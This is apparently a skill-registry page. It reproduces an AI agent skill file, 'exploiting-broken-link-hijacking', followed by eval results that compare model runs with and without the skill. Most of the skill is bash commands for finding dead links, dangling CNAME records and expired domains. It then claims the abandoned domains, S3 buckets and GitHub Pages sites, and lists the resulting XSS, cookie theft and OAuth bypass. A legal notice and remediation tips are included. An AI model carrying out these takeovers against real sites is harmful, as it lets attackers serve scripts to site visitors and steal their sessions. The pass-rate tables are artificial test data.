Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Discover and exploit broken link hijacking vulnerabilities by identifying references to expired domains, decommissioned cloud resources, and dead external services that can be claimed by an attacker.
.claude/skills/exploiting-broken-link-hijacking/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-20 | ✗→✓ | ▲ Improved | — | — |
| case-02 | ✗→✓ | ▲ Improved | — | — |
| case-05 | ✗→✓ | ▲ Improved | — | — |
| case-09 | ✗→✓ | ▲ Improved | — | — |
| case-13 | ✓→✓ | = Same ✓ | — | — |
> Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
bash# Use broken-link-checker to find dead links npx broken-link-checker http://target.com --recursive --ordered \ --exclude-internal --filter-level 3 -o broken_links.txt # Extract all external links from page source curl -s http://target.com | grep -oP 'https?://[^"'"'"'\s>]+' | sort -u > all_links.txt # Extract JavaScript sources curl -s http://target.com | grep -oP 'src="[^"]*"' | grep -v target.com > external_scripts.txt # Extract CSS references curl -s http://target.com | grep -oP 'href="[^"]*\.css"' | grep -v target.com > external_css.txt # Use wayback machine for historical external references curl -s "https://web.archive.org/web/timemap/link/http://target.com" | \ grep -oP 'https?://[^>]+' | sort -u > historical_links.txt # Spider with Burp Suite # Configure Spider scope to include target.com # Review Site Map > Filter by "External" to list all external references
bash# Check if external domains are registered for domain in $(cat external_domains.txt); do whois $domain 2>/dev/null | grep -qi "no match\|not found\|available" && \ echo "[CLAIMABLE] $domain" done # Check HTTP status of external links while read url; do status=$(curl -o /dev/null -s -w "%{http_code}" "$url" --max-time 5) if [ "$status" = "000" ] || [ "$status" = "404" ]; then echo "[DEAD] $url (Status: $status)" fi done < all_links.txt # Check for dangling CNAME records for sub in $(cat subdomains.txt); do cname=$(dig +short CNAME $sub) if [ -n "$cname" ]; then resolved=$(dig +short $cname) if [ -z "$resolved" ]; then echo "[DANGLING] $sub -> $cname (UNRESOLVED)" fi fi done # Check cloud resource availability # AWS S3 bucket aws s3 ls s3://target-assets 2>&1 | grep -q "NoSuchBucket" && echo "[CLAIMABLE] S3: target-assets"
bash# Check GitHub Pages takeover # If CNAME points to <user>.github.io and 404 is returned curl -s https://subdomain.target.com | grep -q "There isn't a GitHub Pages site here" # Check AWS S3 takeover curl -s http://subdomain.target.com | grep -q "NoSuchBucket" # Check Azure Blob Storage curl -s http://subdomain.target.com | grep -q "The specified container does not exist" # Check Heroku curl -s http://subdomain.target.com | grep -q "No such app" # Check Shopify curl -s http://subdomain.target.com | grep -q "Sorry, this shop is currently unavailable" # Use subjack for automated takeover detection subjack -w subdomains.txt -c fingerprints.json -t 100 -o takeover_candidates.txt # Use nuclei takeover templates subfinder -d target.com -silent | nuclei -t http/takeovers/ -o takeovers.txt
bash# Check if external JavaScript domains are available for registration curl -s http://target.com | grep -oP 'src="https?://([^/"]+)' | \ cut -d'/' -f3 | sort -u | while read domain; do whois "$domain" 2>/dev/null | grep -qi "no match\|available" && \ echo "[HIJACKABLE SCRIPT] $domain loaded by target.com" done # Check npm/CDN package references curl -s http://target.com | grep -oP 'unpkg\.com/[^@/]+' | sort -u curl -s http://target.com | grep -oP 'cdn\.jsdelivr\.net/npm/[^@/]+' | sort -u # Verify if referenced packages still exist # Check npm registry for deprecated or removed packages
bash# For expired domain: Register the domain # For S3 bucket: Create bucket with same name in same region aws s3 mb s3://target-expired-bucket --region us-east-1 # For GitHub Pages: Create repository with matching name # Create <org>.github.io repository with proof-of-concept content # For unclaimed social media: Claim the handle # Document the takeover with benign proof-of-concept content # Serve proof-of-concept content echo "<html><body><h1>Broken Link Hijacking PoC - [Your Name]</h1></body></html>" > index.html # Upload to claimed resource
bash# Determine impact based on resource type: # - External JavaScript: Full XSS on all pages loading the script # - External CSS: UI defacement, data exfiltration via CSS injection # - External image/resource: Phishing, tracking # - CNAME subdomain: Cookie theft, phishing, OAuth bypass # Check if hijacked resource serves cookies for parent domain # Check if hijacked subdomain is in OAuth redirect whitelist # Verify if hijacked domain receives sensitive Referer headers
| Concept | Description | |---------|-------------| | Broken Link Hijacking | Claiming control of external resources referenced by target website | | Dangling CNAME | DNS CNAME record pointing to unclaimed or decommissioned service | | Subdomain Takeover | Claiming a subdomain by provisioning the service its CNAME points to | | External Script Hijacking | Registering expired domains that serve JavaScript loaded by target | | Supply Chain Attack | Compromising external dependencies to inject malicious content | | Dead Link | URL reference returning 404 or DNS resolution failure | | Resource Fingerprinting | Identifying specific cloud services from error messages and headers |
| Tool | Purpose | |------|---------| | broken-link-checker | Automated broken link discovery via web crawling | | subjack | Subdomain takeover detection tool | | nuclei | Template-based takeover detection scanner | | can-i-take-over-xyz | Community database of services vulnerable to takeover | | BadDNS | DNS auditing tool for detecting domain/subdomain takeovers | | Wayback Machine | Historical URL analysis for discovering past external references |
## Broken Link Hijacking Report
- **Target**: http://target.com
- **Total External Links**: 145
- **Dead Links**: 12
- **Hijackable Resources**: 3
### Findings
| # | Resource | Type | Status | Impact |
|---|----------|------|--------|--------|
| 1 | analytics.expired-domain.com | JavaScript | Domain available | Full XSS |
| 2 | assets.target.com -> S3 bucket | Static assets | Bucket deleted | Content injection |
| 3 | blog.target.com -> GitHub Pages | Subdomain | No GitHub repo | Subdomain takeover |
### Remediation
- Remove references to decommissioned external resources
- Delete dangling CNAME records for unused subdomains
- Implement Subresource Integrity (SRI) for external scripts
- Regularly audit external dependencies for availability
- Use Content Security Policy to restrict allowed script sources| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted, and 21 counted toward the lift figure. The other 1 produced results that are not comparable between the two arms, so they are excluded from the headline rather than averaged into it. The headline lift of +18 percentage points is the difference between those two pass rates over the 21 comparable cases.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.